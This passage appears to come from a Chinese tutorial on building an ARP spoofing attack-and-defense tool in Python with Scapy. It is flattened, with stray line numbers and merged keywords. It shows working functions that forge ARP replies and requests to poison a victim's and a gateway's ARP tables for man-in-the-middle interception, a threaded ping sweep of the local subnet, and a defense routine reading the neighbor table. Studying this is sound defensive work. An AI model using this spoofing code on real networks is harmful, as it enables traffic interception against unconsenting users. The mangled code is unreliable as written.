defbuild_rep(target_ip, gateway_ip): global self_mac target_mac = getmacbyip(target_ip) #print(gateway_ip) if target_ip isNone: print("[-] Error: Could not resolve targets MAC address") sys.exit(1) # Ether对应包的src和dst ARP只会修改其中的ARP包,告诉dst,这个包的mac是hwsrc,ip是psrc,发给hwdst/pdst pkt = Ether(src=self_mac, dst=target_mac) / ARP(hwsrc=self_mac, psrc=gateway_ip, hwdst=target_mac, pdst=target_ip, op=2) # 本机mac 受欺骗的主机mac 本机mac 网关的ip地址 被攻击人的mac 被攻击人的ip OP值是表示请求还是回应 1:请求 2:回应 # 那么这种模式下即本机发往受害者,告诉受害者网关(psrc)的mac地址是本机(self_mac),下回依据IP查ARP表就会把应该发给网关的包通过mac发包发给本机 return pkt
(2)欺骗网关
向网关发包,欺骗网关受害者为本机,使得网关的ARP表中受害者的MAC地址为本机的MAC地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14
defbuild_req(target_ip, gateway_ip): global self_mac target_mac = getmacbyip(target_ip) gateway_mac = getmacbyip(gateway_ip) if target_mac isNone: print("[-] Error: Could not resolve targets MAC address") sys.exit(1)
if(rep_detect_flag): self.ui.defenseInfoText.appendPlainText("Defending against arp_rep attacks......") build_rep_defense() p = subprocess.Popen(["ip", "neigh"], stdout=subprocess.PIPE) for line in p.stdout.readlines(): line_splitby_space = line.decode("utf-8").strip().split(" ") if ("FAILED"notin line_splitby_space): self.ui.defenseInfoText.appendPlainText('{:<30s}'.format(line_splitby_space[0]) + "\t" + line_splitby_space[4])
ip_prefix = '.'.join(gateway_ip.split('.')[:-1]) threads = [] for i inrange(1, 256): ip = '%s.%s' % (ip_prefix, i) threads.append(threading.Thread(target=ping_ip, args={ip, })) for i in threads: i.start() for i in threads: i.join()
defping_ip(ip_str): cmd = ["ping", "-c","1", ip_str] output = os.popen(" ".join(cmd)).readlines() for line in output: ifstr(line).upper().find("TTL") >= 0: print("ip: %s 在线" % ip_str)
(2)获取本IP
1 2 3 4 5
defget_self_ip(): global netD_name s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', bytes(netD_name[:15],'utf-8')))[20:24]) self_ip = get_self_ip()